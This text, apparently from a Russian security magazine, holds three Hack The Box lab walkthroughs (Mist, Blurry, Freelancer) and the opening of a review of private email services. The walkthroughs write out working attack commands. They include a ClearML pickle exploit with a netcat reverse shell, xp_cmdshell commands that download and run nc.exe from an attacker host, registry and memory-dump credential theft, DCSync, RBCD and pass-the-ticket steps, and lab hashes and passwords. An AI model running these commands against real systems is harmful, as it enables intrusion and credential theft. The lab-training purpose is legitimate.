с опре делен ной груп пой, ука зан ной в OID Group Link. Это поз воля ет зло- 
умыш ленни ку, получив шему дос туп к такому сер тифика ту, вхо дить в сеть
с при виле гиями чле на груп пы, даже если он не явля ется ее реаль ным учас- 
тни ком.

Бу дучи чле ном груп пы Certicate Services, мы можем получить сер тификат
по шаб лону . Тог да при аутен тифика ции по это му

сер тифика ту сер вис будет вос при нимать нас как чле на груп пы Certicate
Managers, хотя фак тичес ки мы в ней не сос тоим.

ManagerAuthentication

Пе ред экс плу ата цией обно вим запись в фай ле ./etc/hosts

192.168.100.100 dc01.mist.htb mist.htb mist-DC01-CA 

А теперь зап росим сер тификат по шаб лону  от име- 

ни поль зовате ля .

ManagerAuthentication
Svc_CaBackup

  

 

proxychains -q certipy req -u 'svc_cabackup@mist.htb' -hashes :
c9872f1bc10bdd522c12fc2ac9041b64 -dc-ip 192.168.100.100 -dns 192.168.
100.100 -dns-tcp -ca mist-DC01-CA -target DC01.mist.htb -template 
ManagerAuthentication -key-size 4096 -out ~/tmp/HTB/mist/
ManagerAuthentication 

По луче ние сер тифика та ManagerAuthentication

Те перь по сер тифика ту получим TGT-билет поль зовате ля. Так как в TGT будет
иден тифика тор груп пы Certicate Managers, зап росим сер тификат по шаб- 
лону .BackupSvcAuthentication

proxychains -q certipy auth -pfx /home/ralf/tmp/HTB/mist/
ManagerAuthentication.pfx -dc-ip 192.168.100.100 

 
   

  
 

KRB5CCNAME=svc_cabackup.ccache proxychains -q certipy req -u
'svc_cabackup@mist.htb' -k -no-pass -dc-ip 192.168.100.100 -dns 192.
168.100.100 -dns-tcp -ca mist-DC01-CA -target DC01.mist.htb -template
'BackupSvcAuthentication' -key-size 4096 -out ~/tmp/HTB/mist/
BackupSvcAuthentication 

По луче ние сер тифика та BackupSvcAuthentication

Те перь у нас есть сер тификат, по которо му мы можем аутен тифици ровать ся
как член груп пы Service Accounts.

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

С помощью скрип та  сно ва получа ем тикет TGT по сер тифика ту.Certipy

proxychains -q certipy auth -pfx /home/ralf/tmp/HTB/mist/
BackupSvcAuthentication.pfx -dc-ip 192.168.100.100 

По луче ние TGT

Те перь у нас есть билет, который содер жит RID груп пы .

Чле ны этой груп пы име ют пра во на дамп сис темных клю чей реес тра. Нас,
конеч но же, будут инте ресо вать клю чи ,  и , так как они
содер жат дан ные не толь ко локаль ных учет ных записей, но и сис темы.

ServiceAccounts

SAM SECURITY SYSTEM

Сдам пить клю чи реес тра уда лен но поз воля ет скрипт .

Но если дамп сох ранит ся на уда лен ной машине, мы не смо жем до него
дотянуть ся. Поэто му с помощью  откро ем свой SMB-

ресурс и сох раним дам пы на нем.

impacket-reg

impacket-smbserver

sudo smbserver.py -smb2support share .

   
   

KRB5CCNAME=svc_cabackup.ccache proxychains -q reg.py 'mist.htb/
svc_cabackup@dc01.mist.htb' -k -no-pass -dc-ip 192.168.100.100 save 
-keyName 'HKLM\SAM' -o '\\10.10.14.45\share'

   
   

KRB5CCNAME=svc_cabackup.ccache proxychains -q reg.py 'mist.htb/
svc_cabackup@dc01.mist.htb' -k -no-pass -dc-ip 192.168.100.100 save 
-keyName 'HKLM\SECURITY' -o '\\10.10.14.45\share'

   
   

KRB5CCNAME=svc_cabackup.ccache proxychains -q reg.py 'mist.htb/
svc_cabackup@dc01.mist.htb' -k -no-pass -dc-ip 192.168.100.100 save 
-keyName 'HKLM\SYSTEM' -o '\\10.10.14.45\share'

Дамп клю чей реес тра

Ло ги SMB-сер вера

Ког да дамп уже у нас, рас парсим его через .impacket-secretsdump

secretsdump.py -sam SAM.save -system SYSTEM.save -security SECURITY.
save LOCAL 

Учет ные дан ные DC01

Так мы получа ем хеш пароля машин ной учет ной записи кон трол лера домена,
у которой есть пра во реп ликации учет ных дан ных. Выпол няем DCSync
для получе ния хеша пароля адми нис тра тора домена.

proxychains -q secretsdump.py 'mist.htb/DC01$'@192.168.100.100 
-hashes :e768c4cf883a87ba9e96278990292260 -just-dc-user Administrator 

Ре зуль тат выпол нения DCSync

С получен ными учет ными дан ными под клю чаем ся к кон трол леру домена
по WinRM и забира ем вто рой флаг.

proxychains -q evil-winrm -i 192.168.100.100 -u Administrator -H 
b46782b9365344abdff1a925601e0385 

Флаг рута

Ма шина зах вачена!

https://github.com/ly4k/Certipy
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ВЗЛОМ

Се год ня я покажу экс плу ата цию све жего
бага в плат форме для управле ния ней- 
росетя ми ClearML. Эта уяз вимость поз- 
волит нам получить воз можность уда лен- 
ного выпол нения команд на сер вере.
А затем заюзаем уяз вимый импорт в прог- 
рамме на Python и повысим при виле гии
в Linux.

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.19     blurry.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Наш лось все го два откры тых пор та:
22 — служ ба OpenSSH 8.4p1;•
80 — веб-сер вер Nginx 1.18.0.•

В логах Nmap так же вид но, что с 80-го пор та выпол няет ся редирект на сайт
. Добавим новый под домен в файл 

и прос мотрим сайт в бра узе ре.
http://app.blurry.htb /etc/hosts

10.10.11.19 blurry.htb app.blurry.htb 

Глав ная стра ница сай та app.blurry.htb

Нас встре чает сер вис ClearML.

ÒÎ×ÊÀ ÂÕÎÄÀ

ClearML — это фрей мворк для тре кин га ML-экспе римен тов, поз воля ющий
отсле живать мет рики машин ного обу чения, хра нить и пре дос тавлять по зап- 
росу модели, вос про изво дить экспе римен ты и визу али зиро вать резуль таты.
Вво дим любое имя и получа ем дос туп к панели ClearML.

Глав ная панель ClearML

Пер вым делом опре деля ем вер сию фрей мвор ка. Обыч но ее мож но най ти
на стра нице с нас трой ками, в раз деле опи сания или в про филе поль зовате ля.
В слу чае с ClearML подошел тре тий вари ант.

Вер сия фрей мвор ка

На ша вер сия — 1.13. Про верим, есть ли для нее готовые экс пло иты.

По иск экс пло итов в Google

Пер вая же  из Google выводит нас на .ссыл ка CVE-2024-24590

ÒÎ×ÊÀ ÎÏÎÐÛ

В ClearML исполь зует ся пакет ClearML для Python, через который про исхо дит
вза имо дей ствие с сер вером по API. Этот пакет исполь зует встро енный
в Python модуль Pickle, отве чающий за сери али зацию и десери али зацию объ- 
ектов. Ата кующий может соз дать файл Pickle, содер жащий про изволь ный код,
и заг рузить его в качес тве арте фак та в про ект через API. Затем при вызове
метода  клас са  файл .pkl будет десери али зован, что при ведет
к выпол нению заложен ного кода.

get Artifact

Что бы вос про извести эту ата ку, нам нуж но нас тро ить ClearML локаль но.
Для это го спер ва получим кон фиг в меню Settings → Workspace → Create new
credentials.

Стра ница Workspace

Кон фиг для под клю чения

В кон фиге есть новые под домены, поэто му обновля ем запись в фай ле 
.

/etc/
hosts

10.10.11.19 blurry.htb app.blurry.htb files.blurry.htb api.blurry.htb 

Так как будем работать с ClearML на сво ей машине, спер ва нуж но уста новить
необ ходимые пакеты.

pip install clearml 

А теперь нас тро им ClearML. Для это го запус тим  и при зап росе

учет ных дан ных вста вим весь получен ный кон фиг.

clearml-init

api {
   web_server: http://app.blurry.htb
   api_server: http://api.blurry.htb
   files_server: http://files.blurry.htb
   credentials {
       "access_key" = "9ZJL1UC8DOP3UJJRUJBM"
       "secret_key"  = 
"fLPHiGutlDvkULEQlo65XlP5azqSvVTlXW7yeKJGf4rjOzAEb4"
   }
}

Под клю чение к ClearML

Для экс плу ата ции уяз вимос ти вос поль зуем ся экс пло итом, который выпол нит
реверс-шелл.

   from clearml import Task
  import pickle, os

 class RunCommand:
   def __reduce__(self):

       return (os.system, ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 
2>&1|nc 10.10.16.73 4321 >/tmp/f',))

  command = RunCommand()

   
 

task = Task.init(project_name='Black Swan', task_name='
pickle_artifact_upload', tags=["review"])

  
  

task.upload_artifact(name='pickle_artifact', artifact_object=command,
retries=2, wait_on_upload=True, extension_name=".pkl")

За пус тим лис тенер:

rlwrap nc -nlvp 4321 

И выпол ним код.

Экс плу ата ция уяз вимос ти

Стра ница про екта

Од нако код не выпол няет ся. Нам нуж но под гадать момент, ког да поль- 
зователь начина ет работать с про ектом. Если запус тить экс пло ит в это вре мя,
он сра бота ет и мы получим сес сию на наш лис тенер.

Стра ница про екта

Вы пол нение экс пло ита и получе ние сес сии

У нас есть сес сия поль зовате ля , и мы можем заб рать пер вый флаг.jippity

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Те перь нам необ ходимо соб рать информа цию. Я буду исполь зовать для это- 
го скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на уда лен ный хост скрипт для Linux, дадим пра во на выпол нение
и запус тим ска ниро вание. В выводе будет мно го информа ции, прой дем ся
по важ ным момен там.

У текуще го поль зовате ля сох ранен при ват ный SSH-ключ 

.

/home/jippity/.
ssh/id_rsa

SSH-ключ поль зовате ля

Для груп пы текуще го поль зовате ля дос тупна запись в каталог ./models

Ка тало ги, дос тупные для записи груп пе

В sudoers есть запись, поз воля ющая запус тить коман ду 

 с высоки ми при виле гиями без вво да
пароля.

/usr/bin/
evaluate_model /models/*.pth

Справка: sudoers
Файл  в Linux содер жит спис ки команд, которые раз ные груп пы

поль зовате лей могут выпол нять от име ни адми нис тра тора сис темы. Мож но
прос мотреть его как нап рямую, так и при помощи коман ды .

/etc/sudoers

sudo -l

Нас трой ки sudoers

Сох раня ем ключ SSH на свою машину, наз нача ем пра ва 

и под клю чаем ся по SSH. Так мы получим ста биль ную пол ноцен ную коман- 
дную обо лоч ку.

chmod 0600 id_rsa

ssh -i id_rsa jippity@blurry.htb 

Те перь раз берем ся с исполня емым фай лом. Ути лита le сооб щает, что
это обыч ный скрипт на Bash. Внут ри скрип та выпол няет ся 

, которо му переда ется файл Pickle.

/models/
evaluate_model.py

Со дер жимое фай ла evaluate_model.py

В катало ге , куда мы име ем пра во записи, уже при сутс тву ет pickle-

файл , который мож но будет исполь зовать для тес та.

/models
demo_model.pth

Со дер жимое катало га /models

Про ана лизи руем сам скрипт . Сра зу обра тим вни мание

на пер вую стро ку — . Если мы соз дадим в катало ге со скрип том

файл , то он будет выпол нен перед всем скрип том.

evaluate_model.py
import torch

torch.py

Со дер жимое фай ла evaluate_model.py

В файл  запишем код, который будет запус кать коман дную обо лоч ку

Bash. Так как у скрип та будут высокие при виле гии, при запус ке
 соз дас тся шелл в кон тек сте поль зовате ля root.

torch.py

evaluate_model

  echo 'import os; os.system("bash")' > /models/torch.py 

sudo /usr/bin/evaluate_model /models/demo_model.pth 

Флаг рута

Ма шина зах вачена!

mailto:hackerralf8@gmail.com
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https://github.com/carlospolop/PEASS-ng
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ВЗЛОМ

Се год ня я покажу, как через зап росы к сер- 
веру MS SQL мож но получить сес сию
на хос те. Но преж де исполь зуем ошиб ку
в логике при ложе ния и повысим при виле- 
гии на сай те через IDOR. А получив дос туп
к Windows, вытащим учет ные дан ные поль- 
зовате ля из дам па опе ратив ной памяти
и зах ватим кон трол лер домена, при менив
тех нику RBCD.

На ша цель — получе ние прав супер поль зовате ля на машине Freelancer
с учеб ной пло щад ки . Уро вень задания — слож ный.Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.5    freelancer.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

По резуль татам ска ниро вания име ем мно го откры тых пор тов:
53 — DNS;•
80 (HTTP) — веб-сер вер Nginx 1.25.5;•
88 — Kerberos;•
135 — служ ба уда лен ного вызова про цедур (Microsoft RPC);•
139 — служ ба сеан сов NetBIOS, NetLogon;•
389 — LDAP;•
445 — SMB;•
464 — служ ба сме ны пароля Kerberos;•
593 (HTTP-RPC-EPMAP) — исполь зует ся в служ бах DCOM и MS Exchange;•
636 — LDAP с шиф ровани ем SSL или TLS;•
3268 (LDAP) — для дос тупа к Global Catalog от кли ента к кон трол леру;•
3269 (LDAPS) — для дос тупа к Global Catalog от кли ента к кон трол леру
через защищен ное соеди нение;

•

5985 — служ ба уда лен ного управле ния WinRM;•
9389 — веб-служ бы AD DS.•

На SMB ано ним ной аутен тифика ции нет, поэто му пос мотрим, что там
на веб-сер вере.

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ

На сай те есть воз можность регис тра ции и авто риза ции. При чем мож но выб- 
рать роль поль зовате ля Freelancer или Employer. Пер вым делом я зарегис три- 
ровал ся с ролью Freelancer.

Фор ма регис тра ции Freelancer

Про филь поль зовате ля

Пот ратив нем ного вре мени, что бы осмотреть ся в дос тупном поль зовате лю
окру жении, ничего инте рес ного не находим. Взгля нем на отли чия в окру- 
жении у поль зовате лей с ролью Employer. Для это го нуж но зарегис три ровать
вто рой акка унт, одна ко он по умол чанию почему-то неак тивен.

Со обще ние о сос тоянии учет ной записи

На сай те есть воз можность вос ста нов ления пароля. Поп робу ем «вос ста- 
новить» неак тивную учет ную запись. Для это го пот ребу ется отве тить на воп- 
росы, ука зан ные при регис тра ции акка унта. Пос ле это го нам ста нет дос тупна
фор ма изме нения пароля.

Фор ма вос ста нов ления акка унта

Фор ма изме нения пароля

Пос ле сме ны пароля и пов торной авто риза ции наша учет ная запись неожи- 
дан но ста ла активна.

Про филь поль зовате ля

Пун ктов меню ста ло гораз до боль ше. Очень инте ресен раз дел с QR-кодом.

Стра ница QR-Code

Де коди руем QR-код и получа ем ссыл ку. При перехо де по ссыл ке мы ока зыва- 
емся в про филе поль зовате ля.

Дан ные в QR-коде

Ис тория зап росов в Burp History

Я зап росил новый QR-код, раз логинил ся, перешел по ссыл ке из кода и сно ва
ока зал ся в про филе поль зовате ля. Такая ссыл ка валид на все го один раз,
но куда инте рес нее, из чего она сос тоит: в ней есть какие-то дан ные в фор- 
мате Base64. Пос ле декоди рова ния пред полага ем, что это иден тифика тор
поль зовате ля.

Де коди рован ные дан ные в URI

В таких слу чаях сто ит про верять, при вязан ли код OTP к ID акка унта или нет.
Для это го я сде лал еще один акка унт, получил ссыл ку из QR-кода в пер вом
акка унте, поменял име ющий ся в ней ID на ID вто рого акка унта, перешел
по этой ссыл ке и попал во вто рой акка унт. Таким обра зом, мы име ем уяз- 
вимость Account Takeover и можем получить дос туп к любой учет ной записи.

Най ти ссыл ки на дру гие акка унты мож но на стра ницах бло га.

Стра ница бло га

Пе рехо дим к любому из акка унтов и получа ем про филь поль зовате ля. Куда
инте рес нее то, что в URI про филя при сутс тву ет ID акка унта.

Про филь поль зовате ля

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
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АТАКУЕМ MICROSOFT SQL SERVER

И АНАЛИЗИРУЕМ ДАМП ПАМЯТИ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ

Пе реб рать все акка унты по ID мож но с помощью . Переп равим

зап рос из Burp History в Burp Intruder ком бинаци ей кла виш Ctrl-R.

Burp Intruder

Burp Intruder — вклад ка Positions

Burp Intruder — вклад ка Payloads

В таб лице резуль татов пос ле выбора зап роса в отве те перек люча емся на тип
отоб ражения Render. Про ходим по таб лице и находим адми на, ID его акка- 
унта равен 2.

Burp Intruder — резуль тат перебо ра

Пов торя ем ата ку с зах ватом акка унта и получа ем сес сию адми нис тра тора.

Про филь поль зовате ля admin

За тем перехо дим к админке сай та на стра нице ./admin

Па нель адми нис три рова ния сай та

В под меню Development tools есть воз можность работы с SQL-тер миналом.

Microsoft SQL Server
Так как сер вер работа ет под управле нием Windows, пред положим, что
и СУБД будет фир менная, то есть MS SQL Server. Пер вым делом узна ем
текуще го поль зовате ля.

 SELECT SYSTEM_USER;

Поль зователь базы дан ных

При виле гий у поль зовате ля никаких нет, поэто му про верим, не может ли он
оли цет ворять дру гие учет ные записи.

        
       
  

SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.
server_principals b ON a.grantor_principal_id = b.principal_id WHERE
a.permission_name = 'IMPERSONATE';

Нас трой ки оли цет ворения

Ви дим, что текущий поль зователь может перей ти в кон текст стан дар тной
учет ной записи . Эта учет ка по умол чанию обла дает ролью 

и может исполь зовать фун кцию  для выпол нения команд
в коман дной обо лоч ке на сер вере. Поп робу ем от име ни  выпол нить коман- 

ду .

sa sysadmin
xp_cmdshell

sa
whoami

    EXECUTE AS LOGIN = 'sa';
  EXEC xp_cmdshell 'whoami';

Ре зуль тат выпол нения зап роса

В ошиб ке ска зано, что фун кция  отклю чена. Одна ко мы можем

ее вклю чить.

xp_cmdshell

    EXECUTE AS LOGIN = 'sa';
    EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

Вклю чение фун кции xp_cmdshell

А теперь пов торим коман ду .whoami

    EXECUTE AS LOGIN = 'sa';
  EXEC xp_cmdshell 'whoami';

Ре зуль тат выпол нения зап роса

Ко ман да успешно выпол нена, а зна чит, запус тим у себя веб-сер вер:

python3 -m http.server 8000 

И лис тенер, который будет при нимать соеди нение:

rlwrap nc -nlvp 4321 

Пос ле это го на уда лен ном сер вере ска чива ем  и выпол няем

реверс-шелл.

netcat

    EXECUTE AS LOGIN = 'sa';
  EXEC xp_cmdshell 'curl http://10.10.16.35:8000/nc64.exe -o C:\\

Windows\\Tasks\\n.exe';
  EXEC xp_cmdshell 'C:\Windows\Tasks\n.exe -e cmd 10.10.16.35 4321';

И сра зу же получа ем сес сию на сво ем лис тенере.

Сес сия поль зовате ля sql_svc

ÏÐÎÄÂÈÆÅÍÈÅ

Ïîëüçîâàòåëü mikasaAckerman
Пер вым делом про верим, какие поль зовате ли работа ли за компь юте ром.
У каж дого юзе ра есть домаш ний каталог в дирек тории .C:\Users

Со дер жимое катало га C:\Users

Те перь осматри ваем окру жение поль зовате ля. В заг рузках есть про филь сер- 
вера Microsoft SQL.

Со дер жимое катало га SQL-сер вера

Про веря ем фай лы с нас трой ками и в  находим аж

два пароля.

sql-Configuration.INI

Со дер жимое фай ла sql-Conguration.INI

Но вые пароли спре им по всем соб ранным ранее учет ным записям поль- 
зовате лей с помощью . Так ком про мети руем еще одну учет ную

запись .

NetExec

mikasaAckerman

nxc smb 10.10.11.5 -u users.txt -p pass.txt 

Про вер ка учет ных дан ных

По лучив учет ные дан ные, сра зу соберем базу . Это мож но сде- 

лать с помощью того же , толь ко пред варитель но обно вим содер- 

жимое фай ла .

BloodHound

NetExec

/etc/hosts

10.10.11.5 freelancer.htb DC.freelancer.htb 

Для сбо ра дан ных исполь зуем под клю чение по LDAP. Необ ходимо ука зать
парамет ры  и .--bloodhound --dns-server

  All 
nxc ldap DC.freelancer.htb -u mikasaAckerman -p IL0v3ErenY3ager -d 
freelancer.htb --bloodhound -c --dns-server 10.10.11.5 

Ког да база соб рана, получим сес сию от име ни нового поль зовате ля. Для это- 
го запус каем новый лис тенер и исполь зуем ути литу , что бы получить

реверс-шелл.

RunasCs

r.exe mikasaAckerman IL0v3ErenY3ager cmd -r 10.10.16.35:5432 

По луче ние сес сии поль зовате ля

Флаг поль зовате ля

Ïîëüçîâàòåëü lorra199
Ос матри ваем ся в окру жении нового поль зовате ля и, кро ме фай ла с фла гом,
находим копию сооб щения и какой-то непонят ный файл, пред положи тель но
дамп памяти.

Со дер жимое рабоче го сто ла поль зовате ля

В сооб щении упо мина ется регуляр ный BSOD и пол ный дамп памяти. А зна- 
чит, мы можем про ана лизи ровать дамп и най ти в нем фай лы с учет ными дан- 
ными.

Со дер жимое фай ла mail.txt

Что бы ска чать файл с уда лен ной сис темы без вся ких фрей мвор ков, вос поль-
зуем ся спе циаль ным веб-сер вером . Запус каем его

на локаль ном хос те, а на уда лен ной машине гру зим файл через curl.

HTTPServerWithUpload

curl -X POST http://10.10.16.35:8000/ -H "Content-Type: multipart/
form-data" -F file=@"MEMORY.7z"

Заг рузка фай ла на веб-сер вер

Что бы про ана лизи ровать сырой дамп памяти, можем исполь зовать
. Ути лита рас парсит фай лы и поз волит работать с ними, как в

под монти рован ной фай ловой сис теме.

MemProcFS

./memprocfs -device ../MEMORY.DMP -mount /mnt 

Мон тирова ние дам па памяти

Пос мотрим, что есть в дам пе. Пер вым делом меня заин тересо вал дамп реес- 
тра — .registry

Со дер жимое дам па памяти

Из реес тра мы можем извлечь фай лы ,  и , отку да мы

выудим хеши и, воз можно, даже пароли служб.

SAM SYSTEM SECURITY

Со дер жимое катало га hive_les

Ко пиру ем фай лы и извле каем все учет ные дан ные с помощью 

.

impacket-
secretsdump

secretsdump.py -sam 0xffffd3067d935000-SAM-MACHINE_SAM.reghive 
-system 0xffffd30679c46000-SYSTEM-MACHINE_SYSTEM.reghive -security 
0xffffd3067d7f0000-SECURITY-MACHINE_SECURITY.reghive LOCAL 

По лучен ные учет ные дан ные

Есть один пароль от учет ной записи служ бы. Спре им его по всем учет кам
и ком про мети руем еще одну.

 nxc smb 10.10.11.5 -u users.txt -p 'PWN3D#l0rr@Armessa199'

Под бор учет ных дан ных

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Так как ском про мети рова ли новую учет ную запись, про веря ем ее пра ва
на дру гие объ екты при помощи . Как показы вает граф, поль- 
зователь  вхо дит в груп пу , которая име ет пра во

 на машин ную учет ную запись .

BloodHound

lorra199 AD Recycle Bin
GenericWrite DC

Граф BloodHound

Это пра во поз воля ет ском про мети ровать машин ную учет ную запись через
RBCD-делеги рова ние Kerberos. Но для это го нам нуж на еще одна под кон- 
троль ная машин ная учет ная запись. По умол чанию любой поль зователь
домена может соз дать нес коль ко таких уче ток. Про верить это мож но
с помощью NetExec.

 maq 
nxc ldap DC.freelancer.htb -u mikasaAckerman -p IL0v3ErenY3ager -d 
freelancer.htb -M

Зна чение атри бута MachineAccountQuota

Те перь исполь зуем тул зу , что бы соз дать новую учет ку, а затем

записать ее SID в атри бут 
учет ной записи кон трол лера домена.

bloodyAD

msDS-AllowedToActOnBehalfOfOtherIdentity

  bloodyAD --host 10.10.11.5 -u lorra199 -p 'PWN3D#l0rr@Armessa199' -d 
freelancer.htb add computer evil_pc 'RRrr!!11'

  
 

bloodyAD --host 10.10.11.5 -u lorra199 -p 'PWN3D#l0rr@Armessa199' -d 
freelancer.htb add rbcd 'DC$' 'EVIL_PC$'

Нас трой ка RBCD

Для работы с Kerberos необ ходимо син хро низи ровать вре мя с кон трол лером
домена.

sudo timedatectl set-ntp false
sudo ntpdate -s 10.10.11.5 

За тем, исполь зуя соз данную учет ку, можем получить тикет через зап росы
 и  на имя адми нис тра тора c помощью скрип та 

из набора скрип тов .

S4U2Self S4U2Proxy getST

impacket

   
 

getST.py -dc-ip 10.10.11.5 -spn 'CIFS/DC.freelancer.htb' -impersonate
'Administrator' 'freelancer.htb/EVIL_PC$:RRrr!!11' 2>/dev/null 

Зап рос тикета

Пос ле получе ния тикета можем исполь зовать тех нику Pass the Ticket для дос- 
тупа к целево му хос ту. Экспор тиру ем билет и под клю чаем ся к сер веру
по WMI.

 

KRB5CCNAME=Administrator@CIFS_DC.freelancer.htb@FREELANCER.HTB.
ccache wmiexec.py freelancer.htb/Administrator@DC.freelancer.htb 
-no-pass -k

Флаг рута

Ма шина зах вачена!
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ПРИВАТНОСТЬ

По пуляр ность элек трон ной поч ты
для обще ния потихонь ку пада ет, но без
«мыла» в наше вре мя все рав но никуда.
Час то на него завяза ны акка унты, на него
при ходит раз ная чувс тви тель ная инфа, так
что кра жа или утеч ка поч ты — вещь край не
неп рият ная. Тра дици онные про вай деры
не дают высоко го уров ня защиты и кон- 
фиден циаль нос ти, поэто му сегод ня
погово рим о спе циаль ных защищен ных
сер висах.

В чем их прин ципи аль ное отли чие? В пер вую оче редь — дол жно под держи- 
вать ся сквоз ное шиф рование, а так же неп лохо бы иметь какие-то гаран тии
отсутс твия потен циаль ной слеж ки. Как извес тно, даже если содер жимое
зашиф ровано, вре мя отправ ки сооб щения и адре сат все еще могут ска зать
о мно гом.

К сожале нию, мы смо жем лишь пос мотреть, что обе щают соз датели сер- 
висов, а не про верить эти обе щания. Иног да в таких воп росах при ходит ся
ори енти ровать ся по кос венным приз накам. Их и раз берем.

ÊÐÈÒÅÐÈÈ ÂÛÁÎÐÀ

Глав ными ори енти рами нам пос лужат откры тый исходный код, репута ция
стра ны, где рас полага ются мощ ности, и, конеч но же, наличие и качес тво
шиф рования дан ных.

Îòêðûòûé èñõîäíûé êîä
Под откры тыми исходни ками я имею в виду откры тость и кодов прог рамм
(кли ентов), и сер верно го бэка. Само собой, ПО с откры тым исходным кодом
нам ного лег че изу чить, что дела ет его более надеж ным с точ ки зре ния
безопас ности. Любой спе циалист может про ана лизи ровать код на наличие
уяз вимос тей, бэк доров или дру гих проб лем, свя зан ных с безопас ностью.
Это сни жает (хотя и не исклю чает пол ностью) веро ятность скры того сбо ра
дан ных или исполь зования вре донос ных ком понен тов. Так же активное сооб- 
щес тво раз работ чиков, под держи вающих про ект, час то спо собс тву ет быс- 
тро му исправ лению оши бок и повыше нию надеж ности сер виса.

Þðèñäèêöèÿ
Юрис дикция, или стра на, в которой зарегис три рован сер вис, — это важ ный
фак тор для защиты дан ных. Раз ные государс тва име ют раз ные законы,
регули рующие воп росы кон фиден циаль нос ти, слеж ки и дос тупа к дан ным.
Нап ример, сер висы, работа ющие в стра нах аль янса «14 глаз», могут быть
вынуж дены переда вать дан ные поль зовате лей пра витель ствен ным служ бам.
Поэто му сто ит выбирать стра ны с силь ными закона ми о защите дан ных
и высоким уров нем ува жения к при ват ности, такие как Швей цария, Шве ция
или Гер мания, где дей ству ет стро гая полити ка в отно шении поль зователь ских
дан ных и вме шатель ства со сто роны влас тей. Кро ме это го, нуж но вни матель- 
но читать полити ку кон фиден циаль нос ти и усло вия исполь зования — в этих
докумен тах тоже может быть мно го инте рес ного. В обзо ре я ста рал ся избе- 
гать стран, в которых есть ана логи  (пись ма о наци ональ ной безопас- 
ности) и , широко исполь зуемых в США.

NSL
Gag order

Øèôðîâàíèå
Шиф рование — это осно ва безопас ности дан ных в сов ремен ных онлай новых
сер висах. Оно обес печива ет кон фиден циаль ность, гаран тируя, что дос туп
к дан ным могут получить толь ко авто ризо ван ные поль зовате ли. При выборе
сер виса сле дует учи тывать, какие типы шиф рования исполь зует поч та, хра нит
ли пись ма в зашиф рован ном виде, есть ли воз можность переда вать
защищен ные пись ма в сто рон ние поч товые ящи ки.

На мой взгляд, это основные кри терии, но есть еще нес коль ко пун ктов,
на которые хотелось бы обра тить вни мание: воз можность соз дать поч ту
без номера телефо на или каких-то дру гих дан ных и воз можность опла чивать
сер вис крип товалю той (либо исполь зовать бес плат ный тариф). Эти пун кты я
тоже вклю чу в кри терии обзо ра.

INFO

В обзор не вхо дит поч та с обя затель ной деано- 
ними заци ей поль зовате ля: ког да зап рашива ют
номер телефо на или отсутс тву ет бес плат ный
тариф, а крип товалю той опла тить невоз можно.

PROTONMAIL

 • Ñàéò: proton.me

 да (кли ент ская часть)• Îò êðû òûé èñõîäíûé êîä:

 да • Ïðè íèìà åò êðèï òó:

 час тично (тре бует ся толь ко email)• Àíî íèì íàÿ ðåãèñ òðà öèÿ:

 Швей цария• Þðèñ äèêöèÿ:

